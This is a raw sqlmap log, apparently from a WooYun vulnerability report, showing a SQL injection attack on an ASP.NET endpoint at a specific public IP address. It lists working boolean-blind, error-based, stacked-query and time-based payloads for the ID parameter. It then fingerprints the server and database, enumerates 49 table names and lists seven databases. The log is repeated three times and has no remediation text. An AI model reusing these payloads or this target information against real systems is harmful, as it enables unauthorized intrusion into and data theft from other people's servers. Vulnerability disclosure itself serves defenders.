WooYun.org

sqlmap.py -u "http://218.57.146.178/cwbase/BIAppCenter/BIModel/BIModelDetail.aspx?ID=ff08e987-c1cb-4de8-b48a-5476cee5a0c0&BIVersion=BI6.0&DBType=0%20%20&Version=1.0"

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: ID (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ID=ff08e987-c1cb-4de8-b48a-5476cee5a0c0' AND 6791=6791 AND 'LTkD'='LTkD&BIVersion=BI6.0&DBType=0  &Version=1.0
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: ID=ff08e987-c1cb-4de8-b48a-5476cee5a0c0' AND 5056=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(118)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5056=5056) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(98)+CHAR(112)+CHAR(113))) AND 'wVXW'='wVXW&BIVersion=BI6.0&DBType=0  &Version=1.0
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: ID=ff08e987-c1cb-4de8-b48a-5476cee5a0c0';WAITFOR DELAY '0:0:5'--&BIVersion=BI6.0&DBType=0  &Version=1.0
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (comment)
    Payload: ID=ff08e987-c1cb-4de8-b48a-5476cee5a0c0' WAITFOR DELAY '0:0:5'--&BIVersion=BI6.0&DBType=0  &Version=1.0
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2012
current database:    'cwbasedemo'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: ID (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ID=ff08e987-c1cb-4de8-b48a-5476cee5a0c0' AND 6791=6791 AND 'LTkD'='LTkD&BIVersion=BI6.0&DBType=0  &Version=1.0
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: ID=ff08e987-c1cb-4de8-b48a-5476cee5a0c0' AND 5056=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(118)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5056=5056) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(98)+CHAR(112)+CHAR(113))) AND 'wVXW'='wVXW&BIVersion=BI6.0&DBType=0  &Version=1.0
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: ID=ff08e987-c1cb-4de8-b48a-5476cee5a0c0';WAITFOR DELAY '0:0:5'--&BIVersion=BI6.0&DBType=0  &Version=1.0
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (comment)
    Payload: ID=ff08e987-c1cb-4de8-b48a-5476cee5a0c0' WAITFOR DELAY '0:0:5'--&BIVersion=BI6.0&DBType=0  &Version=1.0
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2012
Database: cwbasedemo
[49 tables]
+------------------------+
| Dim_FX_Fit             |
| Employees              |
| BIZBTY-TEST            |
| aa                     |
| aaa_test               |
| aaa_test_1             |
| b123                   |
| cxxsybb_cypm_dyHKdc    |
| cxxsybb_cypm_dyHKdcJG  |
| cxxsybb_cypm_dyHKzz    |
| cxxsybb_cypm_dyHKzzjg  |
| cxxsybb_cypm_dyhkzb    |
| cxxsybb_cypm_dyhkzb1   |
| cxxsybb_cypm_dyhkzbjg  |
| cxxsybb_cypm_dymldc    |
| cxxsybb_cypm_dymldcJG  |
| cxxsybb_cypm_dymlzb    |
| cxxsybb_cypm_dymlzb1   |
| cxxsybb_cypm_dymlzbjg  |
| cxxsybb_cypm_dymlzz    |
| cxxsybb_cypm_dymlzzjg  |
| cxxsybb_cypm_dyqddc    |
| cxxsybb_cypm_dyqddcJG  |
| cxxsybb_cypm_dyqdzb    |
| cxxsybb_cypm_dyqdzb1   |
| cxxsybb_cypm_dyqdzbjg  |
| cxxsybb_cypm_dyqdzz    |
| cxxsybb_cypm_dyqdzzjg  |
| cxxsybb_cyzb           |
| cxxsybb_cyzb_hkml      |
| cxxsybb_cyzb_qde       |
| cxxsybb_dwybp          |
| cxxsybb_lbybp          |
| cxxsybbcyjb            |
| cxxsybbcyjb_lcjt       |
| cxxsybbcyjb_mem        |
| cxxsybbyd_hk_dw        |
| cxxsybbyd_hk_lb        |
| cxxsybbyd_hkml_dw      |
| cxxsybbyd_hkml_lb      |
| cxxsybbyd_jb_lb        |
| cxxsybbyd_jb_lb_lc     |
| cxxsybbyd_jb_lb_lcjt   |
| cxxsybbyd_jb_lb_lcjt_g |
| cxxsybbyd_qd_dw        |
| cxxsybbyd_qd_lb        |
| cyfd                   |
| fenggou                |
| huikuan                |
+------------------------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: ID (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ID=ff08e987-c1cb-4de8-b48a-5476cee5a0c0' AND 6791=6791 AND 'LTkD'='LTkD&BIVersion=BI6.0&DBType=0  &Version=1.0
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: ID=ff08e987-c1cb-4de8-b48a-5476cee5a0c0' AND 5056=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(118)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5056=5056) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(98)+CHAR(112)+CHAR(113))) AND 'wVXW'='wVXW&BIVersion=BI6.0&DBType=0  &Version=1.0
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: ID=ff08e987-c1cb-4de8-b48a-5476cee5a0c0';WAITFOR DELAY '0:0:5'--&BIVersion=BI6.0&DBType=0  &Version=1.0
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (comment)
    Payload: ID=ff08e987-c1cb-4de8-b48a-5476cee5a0c0' WAITFOR DELAY '0:0:5'--&BIVersion=BI6.0&DBType=0  &Version=1.0
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2012
available databases [7]:
[*] cwbasedemo
[*] master
[*] model
[*] msdb
[*] ReportServer$MSSQLSERVER2014
[*] ReportServer$MSSQLSERVER2014TempDB
[*] tempdb